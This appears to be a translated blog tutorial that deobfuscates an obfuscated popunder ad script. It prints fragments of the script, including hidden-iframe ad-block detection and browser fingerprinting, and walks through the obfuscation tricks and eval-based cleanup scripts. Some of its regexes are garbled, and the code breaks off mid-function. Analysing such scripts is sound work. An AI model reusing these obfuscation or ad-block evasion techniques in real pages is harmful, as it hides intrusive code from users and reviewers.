i + __ + name + b + $1 + $2 + v + prefix + $1 + col + _ + prefix + style + closure + v + style + x + h + m + content + spaceAfter + total + i + js + args + v + style + total + c + b + ms + i + e + r + g) + el.href + t + decodeURIComponent(PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + value + q + I3x.Y2h + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + n + o + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + inner + ty + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + longNameB + min + y + z + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + s + PERL_KEYWORDS + operator + val2 + PERL_KEYWORDS + PYTHON_KEYWORDS + JSCRIPT_KEYWORDS)); el.parentNode.removeChild(el); }, I3x.Z2h); }; }(); var drawBorder = function() { /** @type {(number|string)} */ var v = (74, 130) <= 448 ? (126, ")") : (240, 637); /** @type {string} */ var b = "AAIB"; /** @type {string} */ var r = "AE"; /** @type {string} */ var groupId = "BA"; /** @type {string} */ var ele = "LA"; /** @type {string} */ var epath = "AEAAA"; /** @type {string} */ var suffix = "B"; /** @type {string} */ var args = "5"; /** @type {string} */ var H = "H"; /** @type {string} */ var x = "y"; /** @type {string} */ var w = "///"; /** @type {string} */ var $ = "AA"; /** @type {string} */ var re = "AAA"; /** @type {string} */ var PYTHON_KEYWORDS = "BAIA"; /** @type {string} */ var PERL_KEYWORDS = "QA"; /** @type {string} */ var JSCRIPT_KEYWORDS = "ODlhA"; /** @type {(number|string)} */ var CSHARP_KEYWORDS = (145, 58) < 243 ? (310, "G") : 407 <= (358, 75) ? (723, "px") : (527, 1230) <= (158, 8) ? "O" : (99, 754); /** @type {string} */ var separator = "0l"; /** @type {string} */ var string = "R"; /** @type {string} */ var inner = "e64"; /** @type {string} */ var s = "as"; /** @type {string} */ var name = "b"; /** @type {(number|string)} */ var closer = (1321, 1362) >= (92, 1387) ? (104, "F") : 190 <= (813, 703) ? (126, "g") : (915, 37) > (87, 51) ? 84 : (1352, 76); /** @type {string} */ var expires = "age"; /** @type {(number|string)} */ var value = (1343, 175) < (585, 11) ? (1278, "K") : (291, 521) < (301, 63) ? 743 : (951, 149) < (137, 1386) ? (894, "m") : (29, 237); /** @type {string} */ var spaceAfter = "at"; /** @type {(number|string)} */ var last = 103 >= (177, 242) ? (573, "d") : (699, 383) < (365, 309) ? (444, 543) : (436, 1476) > (290, 93) ? (230, 999999) : (143, 579); /** @type {string} */ var div = "div"; /** * @param {(number|string)} backgroundImage * @return {undefined} */ var backgroundImage = function(backgroundImage) { /** @type {(number|string)} */ node.style.backgroundImage = backgroundImage; }; /** * @param {number} last * @return {undefined} */ var process = function(last) { /** @type {number} */ node.style.zIndex = last; }; var node = e4Z6h[O6h]["createElement"](div); process(last); backgroundImage(prefix + c + i + col + content + spaceAfter + e + $2 + key + value + expires + path + closer + key + _ + j + name + s + inner + slashSplit + string + separator + CSHARP_KEYWORDS + JSCRIPT_KEYWORDS + PERL_KEYWORDS + PYTHON_KEYWORDS + g + re + $ + p + w + x + H + args + suffix + epath + g + g + ele + $ + $ + g + groupId + r + g + b + string + $ + typePattern + v); return function(elems) { var m1; for (m1 in e4Z6h[O6h]) { if (m1.length == (1089 < (1422, 106) ? 32 : (22, 560) > (529, 364) ? (31, 4) : (1268, 314)) && (m1.charCodeAt((99, 919) > 285 ? (11, 3) : (861, 400) <= 217 ? 88 : (488, 474) > (1330, 522) ? (1262, 549) : (17, 395)) == 121 && (m1.charCodeAt(462 <= (76, 567) ? (320, 2) : 112 < (104, 70) ? "m" : (17, 731)) == 100 && m1.charCodeAt(0) == ((342, 16) < (212, 979) ? (42, 98) : (43, 1227))))) { break; } } var testElement = node.cloneNode(I3x.H2h); var i; for (i in elems) { if (Object.prototype.hasOwnProperty.call(elems, i)) { /** * @param {Object} object * @return {undefined} */ var debug = function(object) { testElement.style[i] = object[i]; }; debug(elems); } } e4Z6h[O6h][m1]["appendChild"](testElement); return testElement; }; }(); traverseNode(node); /** * @return {undefined} */ e4Z6h[G6h][timeoutKey] = function() { if (I3x.h5h(e4Z6h[G6h].zfgloadedpopup, I3x.Z2h)) { node(); } }; } catch (x) { } })({ j5h : "", U5h : 1397381, n5h : 3, g5h : 3, R2h : 45, t5h : ["t92YuYzc2UWNrRXcxFXe5cmYz8mZhNGNx9WcqVGc"], F5h : "" }, "_hmiadab", "_ihlnws"); 


For convenience, I will use Atom later - a text editor based on the Google Chrome engine. Perhaps you are familiar with more convenient tools - I will be happy with comments and suggestions.

To begin, let us analyze what types of code obfuscation remained after JSNice:
')
  1. substitution of real variable names for completely random and / or short names; (in general, this is a standard code compression technique, in its turn, jsnice filled there with strange names like dataAndEvents, deepDataAndEvents, name, index - at least with them it was easier to keep track of what went where)
  2. a vocabulary object of basic functions instead of directly using the functions of multiplication, subtraction, shift, and comparisons;

     var I3x = { O2h : function(a4, b1) { return a4 * b1; } }; //    var z = I3x.O2h(a, b); //  z = a * b; 
  3. hiding the real names of the window and document properties without storing the full names of them in the function body;

     var P6h; for (P6h in window) { if (P6h.length === 9 && (P6h.charCodeAt(6) === 116 && (P6h.charCodeAt(8) === 114 && (P6h.charCodeAt(4) === 103 && P6h.charCodeAt(0) === 110)))) { break; } // P6h = 'navigator'; //        window  //   ,        } 
  4. hiding simple numeric and string values ​​in porridge from random constants by means of ternary operators and the fact that blocks of the form (a, b, c) return the last value from the list;

     (39, 10) <= (571, 36) ? (40, 9) : (41, 73) >= (3, 356) ? 115 : (491, 125) //   9 
  5. hiding the actual order of execution of the code by making separate lines in the function;

     // -      var success = "text/javascript"; var varname = "script"; //    10  var complete = function(type) { fill.type = type; }; //    var fill = window.document.createElement(varname); //    SCRIPT complete(success); //    fill.type = "text/javascript" 
  6. hiding the text by splitting it up into small parts, storing it in variables at different levels of nesting and assembling of these parts later;

     //     (function a() { var label = 'f'; var z = 'r'; var s = 't'; function b() { var expected = 'al'; var matches = 's'; return label + expected + matches + meridiem; } var meridiem = 'e'; var max = 'u'; console.log(b()); // "false" console.log(s + z + max + meridiem); // "true" })(); 

Let's start to get rid of all this evil.

Since e4Z6h is not reassigned anywhere and does not overlap with anything, you can simply perform a replacement in the text, throw the variable itself out of the code and forget about it.

Next, we get rid of the construction of the form "(a, b)" by replacing on the regular schedule
 \ ((\ d + (E \ d +)? | "[^"] + "+ | true | false | null), \ s * (\ d + (E \ d +)? | | [^"] + "+ | true | false | null) \) 
at $ 3. Repeat until all such blocks disappear. This does not save us from the thorns of the ternary functions, but it will simplify them considerably. At least now inside the blocks with them there should be no more brackets, and the brackets on the outside can be considered the boundaries of these blocks. There is one exception for the whole script, but with one you can manually figure it out.

Unfortunately, on clean regulars you will not leave anymore and therefore we will begin to grind this code with scripts. To get started, let's get rid of the bushes of ternary operators:

 let _scr = `... ...`; let _match = _scr.match(/(\(|[,=]\s)[^,;{()]+?\?[^)]+?:[^)]+?[);](?!")/g); let _eval = (_code) => { try { return eval(_code); } catch(e) { return _code; } }; for (let _code of _match) { let _parts = _code.match(/^(\(|[,=]\s)([\s\S]+?)([);])$/); _scr = _scr.replace(_code, `${_parts[1]}${_eval(_parts[2])}${_parts[3]}`, 1); } console.warn(_scr); 

Left to replace 130 <= 448? ")": 637 on just ")".

Now let's try to get rid of the search for function names in window and document.
The following code will help us:

 let _scr = `...`; let _match = _scr.match(/var\s([\d\w]+);\s*for\s*\(([\d\w]+)\sin\swindow[^{]+{\s*if[^{]+{\s*break;\s*}\s*}/g); let _eval = (_code) => { try { return eval(_code); } catch(e) { return _code; } }; let _stack = []; for (let _code of _match) { let _name = _code.match(/var\s([\d\w]+);/)[1]; let _res = `var ${_name} = "${_eval(`(function(){${_stack.join('')}${_code};return ${_name};})()`)}";`; _stack.push(_res); _scr = _scr.replace(_code, `${_res} // <- replaced lookup`, 1); } console.warn(_scr); 

Now you can go through the code and perform substitution of the values ​​marked with the comment 'replaced lookup'. At the same time, we replace the constants (I3x.Y2h => “t”, I3x.H2h => false, I3x.Z2h => true) from the library of I3x functions in the code with the values ​​themselves and remove them from the library.

Code after all the above replacements
 "use strict"; var I3x = { /** * @param {number} a4 * @param {number} b1 * @return {?} */ "O2h" : function(a4, b1) { return a4 * b1; }, /** * @param {?} newVal * @param {?} oldVal * @return {?} */ "R5h" : function(newVal, oldVal) { return newVal !== oldVal; }, /** * @param {(boolean|number|string)} a * @param {(boolean|number|string)} b * @return {?} */ "j6h" : function(a, b) { return a > b; }, /** * @param {?} deepDataAndEvents * @param {?} el * @return {?} */ "L2h" : function(deepDataAndEvents, el) { return deepDataAndEvents === el; }, /** * @param {?} i * @param {Object} arr2 * @return {?} */ "V6h" : function(i, arr2) { return i in arr2; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "Q6h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {?} v02 * @param {?} dataAndEvents * @return {?} */ "M6h" : function(v02, dataAndEvents) { return v02 !== dataAndEvents; }, /** * @param {number} object * @param {number} backoff * @param {number} value * @param {number} data * @return {?} */ "G2h" : function(object, backoff, value, data) { return object * backoff * value * data; }, /** * @param {number} dataAndEvents * @param {number} obj * @return {?} */ "H5h" : function(dataAndEvents, obj) { return dataAndEvents * obj; }, /** * @param {?} callback * @param {?} value * @return {?} */ "S6h" : function(callback, value) { return callback === value; }, /** * @param {number} deepDataAndEvents * @param {number} obj * @return {?} */ "a5h" : function(deepDataAndEvents, obj) { return deepDataAndEvents <= obj; }, /** * @param {number} to * @param {number} from * @return {?} */ "J5h" : function(to, from) { return to - from; }, /** * @param {(boolean|number|string)} a * @param {(boolean|number|string)} b * @return {?} */ "u5h" : function(a, b) { return a > b; }, /** * @param {number} dataAndEvents * @param {number} v00 * @return {?} */ "z6h" : function(dataAndEvents, v00) { return dataAndEvents & v00; }, /** * @param {number} deepDataAndEvents * @param {number} n * @return {?} */ "N5h" : function(deepDataAndEvents, n) { return deepDataAndEvents <= n; }, /** * @param {?} regex * @param {?} timer * @return {?} */ "T5h" : function(regex, timer) { return regex === timer; }, /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ "e6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents == deepDataAndEvents; }, /** * @param {number} _id * @param {number} dataAndEvents * @return {?} */ "K6h" : function(_id, dataAndEvents) { return _id < dataAndEvents; }, /** * @param {number} value * @param {number} regex * @return {?} */ "C2h" : function(value, regex) { return value * regex; }, /** * @param {(boolean|number|string)} res * @param {(boolean|number|string)} dataAndEvents * @return {?} */ "c5h" : function(res, dataAndEvents) { return res > dataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} regex * @return {?} */ "u6h" : function(deepDataAndEvents, regex) { return deepDataAndEvents >> regex; }, /** * @param {number} dataAndEvents * @param {number} xs * @param {number} v00 * @return {?} */ "a2h" : function(dataAndEvents, xs, v00) { return dataAndEvents ^ xs ^ v00; }, /** * @param {?} a * @param {?} b * @return {?} */ "P5h" : function(a, b) { return a === b; }, /** * @param {?} name * @param {?} index * @return {?} */ "U2h" : function(name, index) { return name === index; }, /** * @param {(boolean|number)} i * @param {(boolean|number)} regex * @return {?} */ "B5h" : function(i, regex) { return i >= regex; }, /** * @param {(boolean|number|string)} a * @param {(boolean|number|string)} b * @return {?} */ "e5h" : function(a, b) { return a > b; }, /** * @param {?} name * @param {?} index * @return {?} */ "A5h" : function(name, index) { return name === index; }, /** * @param {number} v02 * @param {number} regex * @return {?} */ "r6h" : function(v02, regex) { return v02 >> regex; }, /** * @param {?} dataAndEvents * @param {?} deepDataAndEvents * @return {?} */ "z5h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents === deepDataAndEvents; }, /** * @param {number} k * @param {number} n * @return {?} */ "m5h" : function(k, n) { return k - n; }, /** * @param {number} dataAndEvents * @param {number} v00 * @return {?} */ "r5h" : function(dataAndEvents, v00) { return dataAndEvents & v00; }, /** * @param {string} deepDataAndEvents * @param {string} args * @return {?} */ "o2h" : function(deepDataAndEvents, args) { return deepDataAndEvents == args; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "f6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents | deepDataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} wait * @return {?} */ "p5h" : function(deepDataAndEvents, wait) { return deepDataAndEvents <= wait; }, /** * @param {?} a * @param {?} b * @return {?} */ "E6h" : function(a, b) { return a === b; }, /** * @param {number} _id * @param {number} n * @return {?} */ "x6h" : function(_id, n) { return _id >> n; }, /** * @param {number} value * @param {number} end * @return {?} */ "M5h" : function(value, end) { return value <= end; }, /** * @param {number} dataAndEvents * @param {number} opt_attributes * @return {?} */ "X6h" : function(dataAndEvents, opt_attributes) { return dataAndEvents & opt_attributes; }, /** * @param {string} deepDataAndEvents * @param {string} value * @return {?} */ "i5h" : function(deepDataAndEvents, value) { return deepDataAndEvents == value; }, /** * @param {number} value * @param {number} regex * @return {?} */ "C6h" : function(value, regex) { return value >> regex; }, /** * @param {number} value * @param {number} execResult * @return {?} */ "W6h" : function(value, execResult) { return value <= execResult; }, /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ "J6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents == deepDataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} opt_fromIndex * @return {?} */ "n6h" : function(deepDataAndEvents, opt_fromIndex) { return deepDataAndEvents <= opt_fromIndex; }, /** * @param {string} el * @param {string} value * @return {?} */ "S5h" : function(el, value) { return el == value; }, /** * @param {?} deepDataAndEvents * @param {?} val1 * @return {?} */ "k2h" : function(deepDataAndEvents, val1) { return deepDataAndEvents !== val1; }, /** * @param {number} i * @param {number} regex * @return {?} */ "q6h" : function(i, regex) { return i < regex; }, /** * @param {string} deepDataAndEvents * @param {string} result * @return {?} */ "K2h" : function(deepDataAndEvents, result) { return deepDataAndEvents == result; }, /** * @param {string} dataAndEvents * @param {string} value * @return {?} */ "G5h" : function(dataAndEvents, value) { return dataAndEvents == value; }, /** * @param {?} dataAndEvents * @param {?} deepDataAndEvents * @return {?} */ "H6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents === deepDataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} opt_attributes * @return {?} */ "K5h" : function(deepDataAndEvents, opt_attributes) { return deepDataAndEvents & opt_attributes; }, /** * @param {number} _id * @param {number} dataAndEvents * @return {?} */ "x5h" : function(_id, dataAndEvents) { return _id < dataAndEvents; }, /** * @param {number} far * @param {number} near * @return {?} */ "y5h" : function(far, near) { return far - near; }, /** * @param {number} el * @param {number} value * @return {?} */ "V5h" : function(el, value) { return el == value; }, /** * @param {number} _id * @param {number} v02 * @return {?} */ "b6h" : function(_id, v02) { return _id < v02; }, /** * @param {string} deepDataAndEvents * @param {string} collection * @return {?} */ "A6h" : function(deepDataAndEvents, collection) { return deepDataAndEvents == collection; }, /** * @param {number} deepDataAndEvents * @param {number} obj * @return {?} */ "D6h" : function(deepDataAndEvents, obj) { return deepDataAndEvents <= obj; }, /** * @param {number} deepDataAndEvents * @param {number} value * @return {?} */ "g6h" : function(deepDataAndEvents, value) { return deepDataAndEvents <= value; }, /** * @param {number} v02 * @param {number} dataAndEvents * @return {?} */ "o5h" : function(v02, dataAndEvents) { return v02 & dataAndEvents; }, /** * @param {number} keepData * @param {number} dataAndEvents * @return {?} */ "C5h" : function(keepData, dataAndEvents) { return keepData < dataAndEvents; }, /** * @param {?} value * @param {?} target * @return {?} */ "N6h" : function(value, target) { return value === target; }, /** * @param {number} far * @param {number} near * @return {?} */ "i2h" : function(far, near) { return far - near; }, /** * @param {number} dataAndEvents * @param {number} opt_attributes * @return {?} */ "p6h" : function(dataAndEvents, opt_attributes) { return dataAndEvents & opt_attributes; }, /** * @param {?} dataAndEvents * @param {?} activeXObj * @return {?} */ "l5h" : function(dataAndEvents, activeXObj) { return dataAndEvents === activeXObj; }, /** * @param {number} i * @param {number} times * @return {?} */ "F6h" : function(i, times) { return i < times; }, /** * @param {Function} type * @param {Function} operator * @return {?} */ "U6h" : function(type, operator) { return type == operator; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "O5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} T * @param {number} dataAndEvents * @return {?} */ "v5h" : function(T, dataAndEvents) { return T < dataAndEvents; }, /** * @param {number} operator * @param {number} backoff * @return {?} */ "s5h" : function(operator, backoff) { return operator * backoff; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "h5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} a * @param {number} b * @return {?} */ "t6h" : function(a, b) { return a - b; }, /** * @param {?} i * @param {?} l * @return {?} */ "D5h" : function(i, l) { return i < l; }, /** * @param {string} deepDataAndEvents * @param {string} value * @return {?} */ "I5h" : function(deepDataAndEvents, value) { return deepDataAndEvents == value; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "P2h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} dataAndEvents * @param {number} callback * @return {?} */ "w5h" : function(dataAndEvents, callback) { return dataAndEvents >> callback; }, /** * @param {number} opt_attributes * @param {number} dataAndEvents * @return {?} */ "W5h" : function(opt_attributes, dataAndEvents) { return opt_attributes << dataAndEvents; }, /** * @param {number} deepDataAndEvents * @param {number} execResult * @return {?} */ "k5h" : function(deepDataAndEvents, execResult) { return deepDataAndEvents <= execResult; }, /** * @param {?} a * @param {?} b * @return {?} */ "q5h" : function(a, b) { return a === b; }, /** * @param {?} value * @param {?} target * @return {?} */ "B6h" : function(value, target) { return value === target; }, /** * @param {number} deepDataAndEvents * @param {number} value * @return {?} */ "v6h" : function(deepDataAndEvents, value) { return deepDataAndEvents <= value; }, /** * @param {(boolean|number|string)} res * @param {(boolean|number|string)} dataAndEvents * @return {?} */ "k6h" : function(res, dataAndEvents) { return res > dataAndEvents; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "y6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents | deepDataAndEvents; }, /** * @param {?} res * @param {?} contexts * @return {?} */ "Y5h" : function(res, contexts) { return res === contexts; }, /** * @param {number} deepDataAndEvents * @param {number} callback * @return {?} */ "m6h" : function(deepDataAndEvents, callback) { return deepDataAndEvents <= callback; }, /** * @param {?} newValue * @param {?} oldValue * @return {?} */ "X5h" : function(newValue, oldValue) { return newValue !== oldValue; }, /** * @param {number} dataAndEvents * @param {number} deepDataAndEvents * @return {?} */ "l6h" : function(dataAndEvents, deepDataAndEvents) { return dataAndEvents << deepDataAndEvents; }, /** * @param {number} regex * @param {number} timer * @return {?} */ "Z5h" : function(regex, timer) { return regex !== timer; }, /** * @param {?} callback * @param {?} b * @return {?} */ "d2h" : function(callback, b) { return callback === b; }, /** * @param {number} deepDataAndEvents * @param {number} timer * @return {?} */ "s6h" : function(deepDataAndEvents, timer) { return deepDataAndEvents <= timer; }, /** * @param {number} el * @param {number} value * @return {?} */ "Q5h" : function(el, value) { return el == value; }, /** * @param {?} res * @param {?} contexts * @return {?} */ "w2h" : function(res, contexts) { return res === contexts; }, /** * @param {number} _id * @param {number} n * @return {?} */ "T6h" : function(_id, n) { return _id >> n; }, /** * @param {number} a * @param {number} b * @return {?} */ "d5h" : function(a, b) { return a - b; } }; var f5h = function() { /** * @param {?} val * @param {?} value * @return {?} */ function resolve(val, value) { /** @type {string} */ var i = "urn"; /** @type {string} */ var obj = "ret"; /** @type {string} */ var o = "rn"; /** @type {string} */ var n = "tu"; /** @type {string} */ var name = "r"; /** @type {Array} */ var a = []; var regexp2_fn = true; var text = false; var callback = undefined; try { var entry = val[I2h.h2h](); var pair; for (;!(regexp2_fn = (pair = entry.next()).E5h);regexp2_fn = true) { a.push(pair.value); if (value && I3x.B6h(a.length, value)) { break; } } } catch (r20) { /** * @param {(number|string)} regex * @return {undefined} */ var keys = function(regex) { /** @type {(number|string)} */ callback = regex; }; /** * @param {?} textAlt * @return {undefined} */ var loadNodeModules = function(textAlt) { text = textAlt; }; loadNodeModules(true); keys(r20); } finally { try { if (!regexp2_fn && entry[name + m + n + o]) { entry[obj + i](); } } finally { if (text) { throw callback; } } } return a; } /** @type {string} */ var m = "e"; return function(object, isXML) { /** @type {string} */ var i = "nc"; /** @type {string} */ var g = "le"; /** @type {string} */ var r = "terab"; /** @type {string} */ var p = "-"; /** @type {string} */ var c = "n"; /** @type {string} */ var article = "ructure"; /** @type {string} */ var n = "s"; /** @type {string} */ var b = "o"; /** @type {string} */ var EQUAL = "ttemp"; /** @type {string} */ var type = " "; /** @type {(number|string)} */ var _ = d; /** @type {(number|string)} */ var w = i; /** @type {(number|string)} */ var $3 = l; /** @type {string} */ var key = "a"; /** @type {string} */ var $1 = "Inv"; if (Array.isArray(object)) { return object; } else { if (I3x.V6h(I2h.h2h, Object(object))) { return resolve(object, isXML); } else { throw new TypeError($1 + key + $3 + w + _ + type + key + EQUAL + "t" + type + "t" + b + type + _ + m + n + "t" + article + type + c + b + c + p + w + r + g + type + w + c + n + "t" + key + i + m); } } }; }(); (function(item, dataName, timeoutKey) { /** @type {string} */ var col = "("; /** @type {(number|string)} */ var g = A; /** @type {string} */ var j = ";"; /** @type {string} */ var $2 = ":"; /** @type {string} */ var i = "l"; /** @type {string} */ var style = "n"; /** @type {string} */ var failuresLink = "tabunder"; /** @type {string} */ var mouseup = "mouseup"; /** @type {string} */ var expected = "mousedown"; /** @type {string} */ var a = "uxngHWCMgWBNwpQg"; /** @type {string} */ var w2 = "00"; /** @type {string} */ var d2 = "0"; /** @type {string} */ var d1 = "4"; /** @type {(number|string)} */ var A_Z_a_z = 2; /** @type {string} */ var I2 = "300x250"; /** @type {string} */ var aba = "728x90"; /** @type {string} */ var baz = "120x240"; /** @type {string} */ var value2 = "234x60"; /** @type {string} */ var foo = "468x60"; /** @type {string} */ var radixToPower = "3.5.2"; /** @type {string} */ var customViewMenuOffsetWidth = "x"; /** @type {string} */ var v = "o"; /** @type {(number|string)} */ var content = d; /** @type {string} */ var _ = "f"; /** @type {string} */ var key = "i"; /** @type {string} */ var $1 = "t"; /** @type {string} */ var s = "c"; /** @type {string} */ var b = "e"; /** @type {number} */ var backoff = 1E3; /** @type {string} */ var min = "b"; /** @type {string} */ var c = "r"; /** @type {(number|string)} */ var slashSplit = ','; /** @type {string} */ var _j = "content"; /** @type {string} */ var STYLE = "style"; /** @type {(number|string)} */ var value = h; /** @type {string} */ var prefix = "u"; /** @type {string} */ var ms = "p"; /** @type {string} */ var e = "a"; /** @type {(number|string)} */ var name = s; /** @type {number} */ var udataCur = 60; /** @type {null} */ var obj = null; /** @type {string} */ var p = "P"; /** @type {number} */ var result = 23; /** @type {(number|string)} */ var which = 21; /** @type {number} */ var bytenew = 9; /** @type {number} */ var DOT_CALL_NO_PARENS = 17; /** @type {number} */ var r20 = 16; /** @type {number} */ var scripts = 15; /** @type {number} */ var pdataCur = 14; /** @type {number} */ var te = 13; /** @type {number} */ var passes = 12; /** @type {number} */ var base = 10; /** @type {(number|string)} */ var restoreScript = 6; /** @type {number} */ var pdataOld = 5; /** @type {number} */ var suiteView = 7; /** @type {number} */ var fromIndex = 8; /** @type {number} */ var selector = 4; /** @type {(boolean|number)} */ var match = 3; /** @type {(number|string)} */ var dontCloseTags = 8; /** @type {string} */ var typePattern = "7"; /** @type {string} */ var expectationResult = "10"; /** @type {string} */ var camelKey = "Windows"; /** @type {number} */ var idx = 1; /** @type {string} */ var k = ""; /** @type {(number|string)} */ var sel = 2; /** @type {(number|string)} */ var total = '.'; /** @type {number} */ var interval = 20; /** @type {string} */ var str = ""; /** @type {number} */ var id = 0; /** @type {string} */ var path = "/"; /** @type {string} */ var __dirname = "//"; try { /** * @param {?} object * @return {undefined} */ var isArguments = function(object) { child.b5h = object; }; /** * @return {undefined} */ var throttledUpdate = function() { /** @type {string} */ text = __dirname + index + path + child.L5h; }; /** * @param {?} other * @return {undefined} */ var toggle = function(other) { window["window"].zfgaabversion = other; }; /** * @param {?} value * @return {undefined} */ var isUndefinedOrNull = function(value) { child.L5h = value.U5h; }; /** * @param {?} node * @return {undefined} */ var traverseNode = function(node) { window["window"][dataName] = node; }; /** * @return {undefined} */ var tryIt = function() { /** @type {string} */ blank = __dirname + index + path + child.L5h + orig; }; /** * @return {?} */ var getIndex = function parse() { /** @type {string} */ var last = "5901cf07608da"; /** @type {string} */ var udataCur = "wmoaz2g6axi0p"; /** * @return {undefined} */ var walk = function() { prop = Object.prototype.hasOwnProperty.call(cache, prop) ? cache[prop] : prop; }; if (I3x.u5h(src.length, id)) { return atob(src[id].split(str).reverse().join(str)); } var node = addChild(); var context = isBinary(node); var functionUid = clearStateChar(); var value = named(); var nodes = jQuery(node, context); var key = serializer(functionUid); var name = getName(value); var props = keys(); var prop = promote(name, key, nodes, id, id); var cache = {}; if (I3x.A5h(rvar, index2)) { cache = {}; } else { if (I3x.Y5h(rvar, progressContexts)) { cache = {}; } } walk(); var array = void id; if (I3x.U2h(rvar, index2)) { /** * @param {Node} value * @return {undefined} */ var setBit = function(value) { /** @type {Node} */ array = value; }; setBit(udataCur); } else { if (I3x.w2h(rvar, progressContexts)) { /** * @param {Node} last * @return {undefined} */ var process = function(last) { /** @type {Node} */ array = last; }; process(last); } } var result = {}; var initial = Object.prototype.hasOwnProperty.call(result, prop) ? result[prop] : array; var restoreScript = prop + initial; return getValue(restoreScript).substr(id, I3x.J5h(interval, inArray(name))) + total + props; }; /** * @param {Function} fn * @return {undefined} */ var valueAccessor = function runTest(fn) { if (!window["document"]["body"]) { /** @type {number} */ var timer = setTimeout(function run() { if (!window["document"]["body"]) { /** @type {number} */ timer = setTimeout(run, interval); return; } fn(); clearTimeout(timer); }, interval) } else { fn(); } }; /** * @param {Function} done * @param {Function} cb * @return {undefined} */ var toVLQSigned = function init(done, cb) { /** @type {number} */ var backoff = 400; /** @type {string} */ var pdataOld = "1px"; /** @type {string} */ var link = "iframe"; /** * @param {(number|string)} value * @return {undefined} */ var resize = function(value) { /** @type {(number|string)} */ node.width = value; }; /** * @param {(number|string)} value * @return {undefined} */ var Class = function(value) { /** @type {(number|string)} */ node.height = value; }; var node = window["document"]["createElement"](link); resize(pdataOld); Class(pdataOld); node.src = fn(); valueAccessor(function() { window["document"]["body"]["appendChild"](node); }); setTimeout(function() { /** @type {string} */ var deepDataAndEvents = "hidden"; /** @type {string} */ var udataCur = "none"; if (I3x.S5h(node.style.display, udataCur) || (I3x.J6h(node.style.display, deepDataAndEvents) || (I3x.e6h(node.style.visibility, deepDataAndEvents) || I3x.V5h(node.offsetHeight, id)))) { node.parentNode.removeChild(node); done(); } else { node.parentNode.removeChild(node); cb(); } }, backoff); }; /** * @param {Function} fn * @return {?} */ var getActual = function run(fn) { /** @type {number} */ var frequency = 300; var error = false; /** @type {number} */ var id = setInterval(function() { if (!error) { /** * @param {?} err * @return {undefined} */ var handler = function(err) { error = err; }; handler(true); fn(); clearInterval(id); } }, frequency); return id; }; /** * @param {(number|string)} name * @param {(number|string)} value * @param {(number|string)} selector * @param {number} id * @param {number} source * @return {?} */ var promote = function filter(name, value, selector, id, source) { var event = trim(name, sel) + trim(value, sel) + trim(selector, sel) + trim(id, sel) + trim(source, sel); return event; }; /** * @param {(number|string)} s * @param {string} n * @return {?} */ var trim = function parse(s, n) { /** @type {string} */ var result = s + k; for (;I3x.D5h(result.length, n);) { /** * @return {undefined} */ var promote = function() { /** @type {string} */ var padding = "0"; result = padding + result; }; promote(); } return result; }; /** * @param {string} dataAndEvents * @param {string} deepDataAndEvents * @return {?} */ var jQuery = function clone(dataAndEvents, deepDataAndEvents) { /** @type {number} */ var ret = idx; if (I3x.G5h(dataAndEvents, camelKey)) { if (I3x.K2h(deepDataAndEvents, expectationResult)) { /** * @param {number} id * @return {undefined} */ var getCallback = function(id) { /** @type {number} */ ret = id; }; getCallback(sel); } else { if (I3x.o2h(deepDataAndEvents, typePattern) || I3x.A6h(deepDataAndEvents, dontCloseTags)) { /** * @param {number} arr * @return {undefined} */ var nullIds = function(arr) { /** @type {number} */ ret = arr; }; nullIds(match); } } } return ret; }; /** * @param {string} deepDataAndEvents * @return {?} */ var serializer = function get(deepDataAndEvents) { /** @type {string} */ var pdataOld = "1366"; /** @type {string} */ var udataCur = "1920"; /** @type {number} */ var fn = idx; if (I3x.i5h(deepDataAndEvents, udataCur)) { /** * @param {number} selector * @return {undefined} */ var jQuery = function(selector) { /** @type {number} */ fn = selector; }; jQuery(sel); } else { if (I3x.I5h(deepDataAndEvents, pdataOld)) { /** * @param {number} params * @return {undefined} */ var callback = function(params) { /** @type {number} */ fn = params; }; callback(match); } } return fn; }; /** * @param {number} deepDataAndEvents * @return {?} */ var getName = function clone(deepDataAndEvents) { /** @type {number} */ var udataCur = 19; /** @type {number} */ var fmt = 18; /** @type {number} */ var res = selector; if (deepDataAndEvents <= -fromIndex) { /** * @param {number} type * @return {undefined} */ var is = function(type) { /** @type {number} */ res = type; }; is(selector); } else { if (deepDataAndEvents <= -suiteView) { /** * @param {number} value * @return {undefined} */ var assign = function(value) { /** @type {number} */ res = value; }; assign(pdataOld); } else { if (deepDataAndEvents <= -restoreScript) { /** * @param {number} callback * @return {undefined} */ var getCallback = function(callback) { /** @type {number} */ res = callback; }; getCallback(restoreScript); } else { if (deepDataAndEvents <= 